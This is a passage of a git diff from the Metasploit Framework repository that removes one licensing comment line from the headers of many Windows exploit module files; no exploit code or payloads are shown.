b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb index 7a27b176aa..cbbd6e8ce7 100644 --- a/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb +++ b/modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb index 394b762e52..66a0b54c81 100644 --- a/modules/exploits/windows/browser/inotes_dwa85w_bof.rb +++ b/modules/exploits/windows/browser/inotes_dwa85w_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/intrust_annotatex_add.rb b/modules/exploits/windows/browser/intrust_annotatex_add.rb index d1914e542d..e28b1164c9 100644 --- a/modules/exploits/windows/browser/intrust_annotatex_add.rb +++ b/modules/exploits/windows/browser/intrust_annotatex_add.rb @@ -1,7 +1,6 @@ ### # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_ws_double_quote.rb b/modules/exploits/windows/browser/java_ws_double_quote.rb index 4db4725d09..6da71eaec8 100644 --- a/modules/exploits/windows/browser/java_ws_double_quote.rb +++ b/modules/exploits/windows/browser/java_ws_double_quote.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/java_ws_vmargs.rb b/modules/exploits/windows/browser/java_ws_vmargs.rb index 96e79e0672..73394b9797 100644 --- a/modules/exploits/windows/browser/java_ws_vmargs.rb +++ b/modules/exploits/windows/browser/java_ws_vmargs.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/maxthon_history_xcs.rb b/modules/exploits/windows/browser/maxthon_history_xcs.rb index 8951f98a0a..72e48a4f56 100644 --- a/modules/exploits/windows/browser/maxthon_history_xcs.rb +++ b/modules/exploits/windows/browser/maxthon_history_xcs.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/windows/browser/mcafee_mvt_exec.rb b/modules/exploits/windows/browser/mcafee_mvt_exec.rb index 514cb0e78e..0c34987d18 100644 --- a/modules/exploits/windows/browser/mcafee_mvt_exec.rb +++ b/modules/exploits/windows/browser/mcafee_mvt_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb index ad37c3e27e..b47195eba5 100644 --- a/modules/exploits/windows/browser/mozilla_attribchildremoved.rb +++ b/modules/exploits/windows/browser/mozilla_attribchildremoved.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb index 5f7c7e4018..6517f3fe3d 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_onreadystatechange.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb index 01f1eb0de9..c88ccf30e3 100644 --- a/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb +++ b/modules/exploits/windows/browser/mozilla_firefox_xmlserializer.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb index 1b10484482..f0e4b4fd1f 100644 --- a/modules/exploits/windows/browser/mozilla_nssvgvalue.rb +++ b/modules/exploits/windows/browser/mozilla_nssvgvalue.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index 3c799e883e..45b32ecd8b 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index 9038506afe..9703762a92 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 9ab9177e17..7729e953a6 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index 265da0419e..06870bad31 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 221f219ff4..60393c251d 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index df84ae3234..e80f53806d 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index 068dcf7e10..82857ac519 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index 6578b01d79..444bad2fa9 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index 9b93e477f5..1bb3ea6e5f 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index 9b08535672..a3e72cfba2 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index d3e9b898c1..e6f63b3e92 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index fe928a99d2..fee5f1360f 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index 9481afd42f..cbf8c25044 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ovftool_format_string.rb b/modules/exploits/windows/browser/ovftool_format_string.rb index e9fddf48a8..64e2f6b299 100644 --- a/modules/exploits/windows/browser/ovftool_format_string.rb +++ b/modules/exploits/windows/browser/ovftool_format_string.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/quickr_qp2_bof.rb b/modules/exploits/windows/browser/quickr_qp2_bof.rb index 48e482ef77..74fac4bedb 100644 --- a/modules/exploits/windows/browser/quickr_qp2_bof.rb +++ b/modules/exploits/windows/browser/quickr_qp2_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 18b73f97ed..719345cacf 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 323245ef76..b1e72396cf 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb index 616b0e684f..32910a297a 100644 --- a/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb +++ b/modules/exploits/windows/browser/synactis_connecttosynactis_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 41dd31455e..7b9abc7510 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb index a7dcea1b30..fc96837f2a 100644 --- a/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb +++ b/modules/exploits/windows/browser/ultramjcam_openfiledig_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index 70e84fc5da..4129e6df9d 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb index 04f07dc698..b64fc7b839 100644 --- a/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/fileformat/apple_quicktime_rdrf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index f680c10ed7..9d8a5e50bb 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb index 4cafbc87ce..5c7f19ebfa 100644 --- a/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb +++ b/modules/exploits/windows/fileformat/chasys_draw_ies_bmp_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb index ada2efd161..6aa5bed33c 100644 --- a/modules/exploits/windows/fileformat/djstudio_pls_bof.rb +++ b/modules/exploits/windows/fileformat/djstudio_pls_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index 10412fc5da..c218c6b283 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index 4e49568d58..83e98478f6 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/foxit_reader_launch.rb b/modules/exploits/windows/fileformat/foxit_reader_launch.rb index 8ae23f3f08..c824a6ef3f 100644 --- a/modules/exploits/windows/fileformat/foxit_reader_launch.rb +++ b/modules/exploits/windows/fileformat/foxit_reader_launch.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/gsm_sim.rb b/modules/exploits/windows/fileformat/gsm_sim.rb index 56b335e259..b008e9c61d 100644 --- a/modules/exploits/windows/fileformat/gsm_sim.rb +++ b/modules/exploits/windows/fileformat/gsm_sim.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb index a0f214999a..a1d571cc84 100644 --- a/modules/exploits/windows/fileformat/ibm_pcm_ws.rb +++ b/modules/exploits/windows/fileformat/ibm_pcm_ws.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 19a54b78aa..3d8b3442ae 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb index 3534f1a7f3..b1e6eefae3 100644 --- a/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb +++ b/modules/exploits/windows/fileformat/kingview_kingmess_kvl.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index b21a54913e..b82391ae14 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 7fe6687ae8..c84847b2f4 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/ms13_071_theme.rb b/modules/exploits/windows/fileformat/ms13_071_theme.rb index db035efec7..bf41fb45b5 100644 --- a/modules/exploits/windows/fileformat/ms13_071_theme.rb +++ b/modules/exploits/windows/fileformat/ms13_071_theme.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/netop.rb b/modules/exploits/windows/fileformat/netop.rb index a70198fbcd..4687e10996 100644 --- a/modules/exploits/windows/fileformat/netop.rb +++ b/modules/exploits/windows/fileformat/netop.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb index 481009acd4..942bbac83e 100644 --- a/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb +++ b/modules/exploits/windows/fileformat/orbit_download_failed_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index 99ca786577..c9193884fa 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb index 3b28fc4a82..0fbbd01159 100644 --- a/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb +++ b/modules/exploits/windows/fileformat/shadow_stream_recorder_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 2a22a1a628..d3868e0c9d 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb index 479cd33715..e59bd51f2c 100644 --- a/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb +++ b/modules/exploits/windows/fileformat/xradio_xrl_sehbof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb index c46eca75c2..ade7b85090 100644 --- a/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb +++ b/modules/exploits/windows/ftp/3cdaemon_ftp_user.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/freefloatftp_user.rb b/modules/exploits/windows/ftp/freefloatftp_user.rb index 4216f55490..834f0e1dfe 100644 --- a/modules/exploits/windows/ftp/freefloatftp_user.rb +++ b/modules/exploits/windows/ftp/freefloatftp_user.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/ftp/freefloatftp_wbem.rb b/modules/exploits/windows/ftp/freefloatftp_wbem.rb index c5563b46eb..27718f7679 100644 --- a/modules/exploits/windows/ftp/freefloatftp_wbem.rb +++ b/modules/exploits/windows/ftp/freefloatftp_wbem.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/freeftpd_pass.rb b/modules/exploits/windows/ftp/freeftpd_pass.rb index 8d9c0b9ef5..1c8711caa6 100644 --- a/modules/exploits/windows/ftp/freeftpd_pass.rb +++ b/modules/exploits/windows/ftp/freeftpd_pass.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/open_ftpd_wbem.rb b/modules/exploits/windows/ftp/open_ftpd_wbem.rb index 4157eb035f..87a0fa43d3 100644 --- a/modules/exploits/windows/ftp/open_ftpd_wbem.rb +++ b/modules/exploits/windows/ftp/open_ftpd_wbem.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 298a29c93f..48290fc9fa 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/ricoh_dl_bof.rb b/modules/exploits/windows/ftp/ricoh_dl_bof.rb index c69397ac6b..08406d38eb 100644 --- a/modules/exploits/windows/ftp/ricoh_dl_bof.rb +++ b/modules/exploits/windows/ftp/ricoh_dl_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/ftp/sami_ftpd_list.rb b/modules/exploits/windows/ftp/sami_ftpd_list.rb index c6ff9997fa..f6d8b2f155 100644 --- a/modules/exploits/windows/ftp/sami_ftpd_list.rb +++ b/modules/exploits/windows/ftp/sami_ftpd_list.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## diff --git a/modules/exploits/windows/http/cyclope_ess_sqli.rb b/modules/exploits/windows/http/cyclope_ess_sqli.rb index c2f7e10963..345994ab70 100644 --- a/modules/exploits/windows/http/cyclope_ess_sqli.rb +++ b/modules/exploits/windows/http/cyclope_ess_sqli.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 48dc15bc41..71cbf47bb7 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -1,7 +1,6 @@ ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework -# Framework web site for more information on licensing and terms of use. ## require 'msf/core' diff --git 